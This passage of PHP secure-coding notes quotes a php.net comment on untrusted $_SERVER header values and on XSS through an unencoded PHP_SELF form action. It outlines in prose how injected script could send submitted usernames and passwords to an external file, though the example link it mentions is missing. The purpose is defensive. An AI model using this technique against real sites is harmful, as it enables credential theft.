include,require); use allow list for files or parts of filenames (such as not allowing strings with dots or slashes in them)
Copied from https://www.php.net/manual/en/reserved.variables.server.php, Vladimir Korneas comment:
-
All elements of the $SERVER array whose keys begin with 'HTTP' come from HTTP request headers and are not to be trusted.
-
All HTTP headers sent to the script are made available through the $SERVER array, with names prefixed by 'HTTP'.
-
$_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $ SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $ SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this:
The javascript block would define an event handler function and bind it to the form's submit event. This event handler
would load via an tag an external file, with the submitted username and password as parameters.
Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML.
- Laravel
- Codeigniter
- Laminas (= Zend)
- Dive deeper into Slim


